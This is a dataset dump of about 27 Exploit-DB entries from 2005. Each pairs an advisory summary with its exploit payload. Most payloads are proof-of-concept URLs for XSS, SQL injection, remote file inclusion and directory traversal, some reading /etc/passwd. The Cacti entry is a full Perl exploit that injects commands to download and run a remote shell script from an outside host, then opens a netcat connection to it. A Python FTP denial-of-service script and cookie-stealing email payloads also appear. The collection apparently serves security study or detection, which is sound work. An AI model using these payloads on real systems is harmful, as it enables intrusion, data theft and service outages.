QLWD/code_shield huggingface dataset:
标题: Cisco CallManager 1.0/2.0/3.x/4.0 - CTI Manager Remote Denial of Service EDB-ID: 25967 CVE: 2005-2242 类型: DOS 平台: HARDWARE 发布日期: 2005-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/14251/info

The CallManager CTI Manager service is susceptible to a remote denial of service vulnerability.

This issue is documented in Cisco bug CSCee00116, which is available to Cisco customers.

This issue may be exploited to cause the affected application to restart, denying service to legitimate users.

This issue was originally documented in BID 14227. 

wget http://www.example.com:2000 URL: https://www.exploit-db.com/exploits/25967
标题: PPA 0.5.6 - 'ppa_root_path' File Inclusion EDB-ID: 25960 CVE: 2005-2199 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/14209/info

PPA is susceptible to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/inc/functions.inc.php?config[ppa_root_path]=http://www.example.com URL: https://www.exploit-db.com/exploits/25960
标题: Nokia Affix 2.0/2.1/3.x - BTSRV/BTOBEX Remote Command Execution EDB-ID: 25966 CVE: 2005-2277 类型: REMOTE 平台: HARDWARE 发布日期: 2005-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/14232/info

Nokia Affix btsrv/btobex are reported prone to a remote command execution vulnerability. The issue exists due to a lack of input sanitization that is performed before using attacker-controlled data in a 'system()' call.

Because the affected services run with superuser privileges, this issue may be exploited to fully compromise a target computer that is running the affected software.

ftp> put /etc/hosts `id`
Transfer started...
Transfer complete.
257 bytes sent in 0.9 secs (2855.56 B/s)
ftp> ls
-rwdx 257 uid=0(root) gid=0(root) groups=0(root)
Command complete. URL: https://www.exploit-db.com/exploits/25966
标题: DVBBS 7.1 - 'ShowErr.asp' Cross-Site Scripting EDB-ID: 25965 CVE: 2005-2318 类型: WEBAPPS 平台: ASP 发布日期: 2005-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/14223/info

Dvbbs is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/showerr.asp?BoardID=0&ErrCodes=54&action=<script>JavaScript:alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/25965
标题: IBM Lotus Domino Notes 6.0/6.5 - Mail Template Automatic Script Execution EDB-ID: 25944 CVE: 2005-2175 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/14164/info

IBM Lotus Notes email client is prone to an input validation vulnerability. Reports indicate that HTML and JavaScript attached to received email messages is executed automatically when the email message is viewed. Specifically, users accessing standard Notes mail templates through a Web mail client are affected.

This vulnerability may be leveraged by a remote attacker to automatically execute arbitrary script code in the context of a target user. 

Content-Transfer-Encoding: 8bit
Content-Type: multipart/mixed; boundary="0-1940165274-1120658611=:34349"

--0-1940165274-1120658611=:34349
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Id:
Content-Transfer-Encoding: quoted-printable

read it


                 =09
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=20

--0-1940165274-1120658611=:34349
Content-Type: text/html; name="malxxx.html"
Content-Disposition: inline; filename="malxxx.html"
Content-Description: 268262132-malxxx.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<title>Test XSS of uploaded documents</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
</HEAD>
<BODY>
<SCRIPT>
document.write('The cookie is:<br> ' + document.cookie + '<p>');
</SCRIPT>
 </BODY></HTML>

--0-1940165274-1120658611=:34349-- URL: https://www.exploit-db.com/exploits/25944
标题: MyGuestbook 0.6.1 - 'Form.Inc.php3' Remote File Inclusion EDB-ID: 25941 CVE: 2005-2162 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14155/info

MyGuestbook is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/gb/form.inc.php3?lang=http://www.example.com/cmd.gif?&cmd=id;uname%20-a;uptime URL: https://www.exploit-db.com/exploits/25941
标题: OFTPD 0.3.x - User Command Buffer Overflow EDB-ID: 25943 CVE: 2005-2239 类型: DOS 平台: LINUX 发布日期: 2005-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/14161/info

oftpd is prone to a remotely exploitable buffer overflow. This may be triggered by a client through an overly long argument for the USER command.

Successful exploitation may let a remote attacker execute arbitrary code in the context of the server process. 

530 Only anonymous FTP supported.
ftp: Login failed.
ftp> user
(username)
usage: user username [password [account]]
ftp> user \0\0\0\0\0\ (much larger string)
500 Syntax error, command unrecognized.
Login failed.
ftp> user
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x30303054
0x969b56d8 in history () URL: https://www.exploit-db.com/exploits/25943
标题: phpPgAdmin 3.x - Login Form Directory Traversal EDB-ID: 25938 CVE: 2005-2256 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14142/info

phpPgAdmin is prone to a directory traversal vulnerability. The application fails to filter directory traversal sequences from requests to the login form.

All versions of phpPgAdmin are considered to be vulnerable at the moment. 

formUsername=username&formPassword=password&formServer=0&formLanguag
e=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/et
c/passwd%00&submitLogin=Login URL: https://www.exploit-db.com/exploits/25938
标题: Novell NetMail 3.x - Automatic Script Execution EDB-ID: 25948 CVE: 2005-2176 类型: REMOTE 平台: WINDOWS 发布日期: 2005-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/14171/info

Novell NetMail email client is prone to an input validation vulnerability.

Reports indicate that HTML and JavaScript attached to received email messages is executed automatically, when the email message is viewed.

A successful attack may allow the attacker to obtain session cookies and carry out other attacks.

All versions are considered to be vulnerable at the moment. 

Content-Type: multipart/mixed; boundary="=_mixed 00279444C2257036_="

--=_mixed 00279444C2257036_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2 face="sans-serif">hi there</font>
<br>
--=_mixed 00279444C2257036_=
Content-Type: text/html; name="malxxx.html"
Content-Disposition: attachment; filename="malxxx.html"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<title>Test XSS of uploaded documents</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">

</HEAD>
<BODY>
<SCRIPT>
document.write('The cookie is:<br> ' + document.cookie + '<p>');
</SCRIPT>
</BODY></HTML>
--=_mixed 00279444C2257036_=-- URL: https://www.exploit-db.com/exploits/25948
标题: AutoIndex PHP Script 1.5.2 - 'index.php' Cross-Site Scripting EDB-ID: 25940 CVE: 2005-2163 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14154/info

AutoIndex PHP Script is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?search='>%3Cscript%3Ealert%28%27owned%27%29%3Blocation.href%3D%27http%3A%2F%2Fwww.example.com%27%3B%3C%2Fscript%3E&dir=&searchMode= URL: https://www.exploit-db.com/exploits/25940
标题: WhitSoft SlimServe HTTPd 1.0/1.1 - Directory Traversal EDB-ID: 25933 CVE: 2001-0454 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/14132/info

SlimServe HTTP server is prone to directory traversal attacks due to improper sanitization of user input.

This type of attack allows a malicious user to read files that exist outside of the Web server root directory. 

http://www.example.com/.../.../ URL: https://www.exploit-db.com/exploits/25933
标题: RaXnet Cacti 0.5/0.6.x/0.8.x - 'Graph_Image.php' Remote Command Execution Variant EDB-ID: 25927 CVE: 2005-1524 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/14129/info

RaXnet Cacti is prone to a remote command execution vulnerability that manifests in the 'graph_image.php' script. The issue is due to a bug in the input filters that leads to a failure in the application to properly sanitize user-supplied input.

This issue can facilitate various attacks including unauthorized access to an affected computer. 

#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting -->
http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&gr
aph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t=      by Alberto Trivero     =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
www.example.com /cacti/\n";
   exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
local_graph_id";
print "[~] Sending exploiting request, wait for some seconds/minutes...\n";
get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_sta
rt=%0acd /tmp;wget http://albythebest.altervista.org/shell.pl;chmod 777
shell.pl;perl shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n"; URL: https://www.exploit-db.com/exploits/25927
标题: EasyPHPCalendar 6.1.5/6.2.x - 'header.inc.php?serverPath' Remote File Inclusion EDB-ID: 25930 CVE: 2005-2155 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/14131/info
  
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
  
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/events/header.inc.php?serverPath=http://www.example.com/[remote code] URL: https://www.exploit-db.com/exploits/25930
标题: osTicket 1.2/1.3 - 'view.php?inc' Arbitrary Local File Inclusion EDB-ID: 25926 CVE: 2005-2154 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14127/info

osTicket is affected by multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

The following specific issues were identified:

- An SQL-injection vulnerability. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

- A local file-include vulnerability. An attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

osTicket 1.3.1 beta and prior versions are affected. 

http://www.example.com/osticket/view.php?inc=x URL: https://www.exploit-db.com/exploits/25926
标题: CyberStrong eShop 4.2 - '10expand.asp' SQL Injection EDB-ID: 25923 CVE: 2003-0509 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14103/info

CyberStrong eShop is prone to an SQL injection vulnerability. As a result, the attacker may modify the structure and logic of an SQL query that is made by the application. The attacker may accomplish this by passing malicious SQL syntax to the vulnerable '10expand.asp' script.

It is reported that the attacker may steal eShop authentication information. Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query.

http://www.example.com/eshop/10expand.asp?ProductCode=' URL: https://www.exploit-db.com/exploits/25923
标题: EasyPHPCalendar 6.1.5/6.2.x - 'popup.php?serverPath' Remote File Inclusion EDB-ID: 25929 CVE: 2005-2155 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/14131/info
 
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
 
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/functions/popup.php?serverPath=http://www.example.com/[remote code] URL: https://www.exploit-db.com/exploits/25929
标题: fsboard 2.0 - Directory Traversal EDB-ID: 25924 CVE: 2005-2140 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14111/info

FSboard is prone to a directory traversal vulnerability.

This could allow a remote attacker to read files outside the Web root. This could only be used to access files to which the Web server has permission.

All versions of FSboard are vulnerable to this issue at the moment. 

http://www.example.com/forum/default.asp?db=general&mode=download&idx=507&fileNum=1&filename=../conf.asp&nav=viewcontents&srhctgr=&srhstr=&page=1 URL: https://www.exploit-db.com/exploits/25924
标题: EasyPHPCalendar 6.1.5/6.2.x - 'datePicker.php?serverPath' Remote File Inclusion EDB-ID: 25931 CVE: 2005-2155 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/14131/info
   
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
   
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/events/datePicker.php?serverPath=http://www.example.com/[remote code] URL: https://www.exploit-db.com/exploits/25931
标题: EasyPHPCalendar 6.1.5/6.2.x - 'setupSQL.php?serverPath' Remote File Inclusion EDB-ID: 25932 CVE: 2005-2155 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/14131/info
    
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
    
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/setup/setupSQL.php?serverPath=http://www.example.com/[remote code] URL: https://www.exploit-db.com/exploits/25932
标题: EasyPHPCalendar 6.1.5/6.2.x - 'calendar.php?serverPath' Remote File Inclusion EDB-ID: 25928 CVE: 2005-2155 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/14131/info

EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/calendar.php?serverPath=http://www.example.com/[remote code] URL: https://www.exploit-db.com/exploits/25928
标题: CyberStrong EShop 4.2 - '20review.asp' SQL Injection EDB-ID: 25922 CVE: 2003-0509 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/14101/info

CyberStrong eShop is prone to an SQL-injection vulnerability. As a result, the attacker may modify the structure and logic of an SQL query that is made by the application. The attacker may accomplish this by passing malicious SQL syntax to the vulnerable '20review.asp' script.

Reportedly, the attacker may steal eShop authentication information. Other attacks may be possible, depending on the capabilities of the underlying database and the nature of the affected query.

http://www.example.com/eshop/20Review.asp?ProductCode=' URL: https://www.exploit-db.com/exploits/25922
标题: ASPNuke 0.80 - 'Language_Select.asp' HTTP Response Splitting EDB-ID: 25907 CVE: 2005-2065 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/14063/info

ASPNuke is prone to an HTTP response splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. 

http://www.example.com/module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0aSet-Cookie%3Asome%3Dvalue URL: https://www.exploit-db.com/exploits/25907
标题: BisonFTP 4R1 - Remote Denial of Service EDB-ID: 25911 CVE: 2005-2078 类型: DOS 平台: WINDOWS 发布日期: 2005-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/14079/info

BisonFTP is prone to a remote denial-of-service vulnerability. A remote attacker may exploit this issue to deny service for legitimate users.

Reports indicate that the issue may be exploited only after successful authentication. 

#!/usr/bin/python
#
# Vulnerability: Denial Of Service
# Discovered on: June 26, 2005 by fRoGGz - SecuBox Labs
# When an invalid buffer size is sent to BisonFTPD -> DoS (100% CPU usage or crash)
# NB: Sorry for Python purists, it's the first time that i use it ;)

import socket
import time

n = 1
t = 98192 #Try others, it's funny.
p = 21 # Set your port here.
ip = "192.168.0.1" # Set ip here.
boom = "PoC "+'\x41'*t

print "\n\nVulnerable product: BisonFTP Server V4R1"
print "Denial of Service vulnerability"
print "---------------------------------------------"
print "Discovered & coded by fRoGGz - SecuBox Labs\n"

try:

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    connect=s.connect((ip,p))

    d=s.recv(1024)

    print "[+] " +d

    print "[+] Utilisateur."

    time.sleep(1)

    s.send('USER Anonymous\r\n')

    s.recv(512)

    print "[+] Mot de passe."

    time.sleep(1)

    s.send('PASS Anonymous\r\n')

    s.recv(512)

    print "[+] Envoi malicieux.\n\nDoS termine !\n"

    time.sleep(1)

    s.send(boom+'r\n\n')


except:

    print "[+] Machine indisponible, verifiez le port ou l'ip." URL: https://www.exploit-db.com/exploits/25911
标题: ASPNuke 0.80 - 'register.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25906 CVE: 2005-2064 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/14062/info
 
ASPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/module/account/register/register.asp?FirstName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?LastName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Password=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Address1=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Address2=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?City=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?ZipCode=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25906
标题: Hosting Controller 6.1 - 'error.asp' Cross-Site Scripting EDB-ID: 25913 CVE: 2005-2077 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/14080/info

Hosting Controller is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'error.asp' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admin/hosting/error.asp?error=Xss vul URL: https://www.exploit-db.com/exploits/25913
标题: UBBCentral UBB.Threads 5.5.1/6.x - 'addfav.php?main' SQL Injection EDB-ID: 25901 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14052/info
    
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat URL: https://www.exploit-db.com/exploits/25901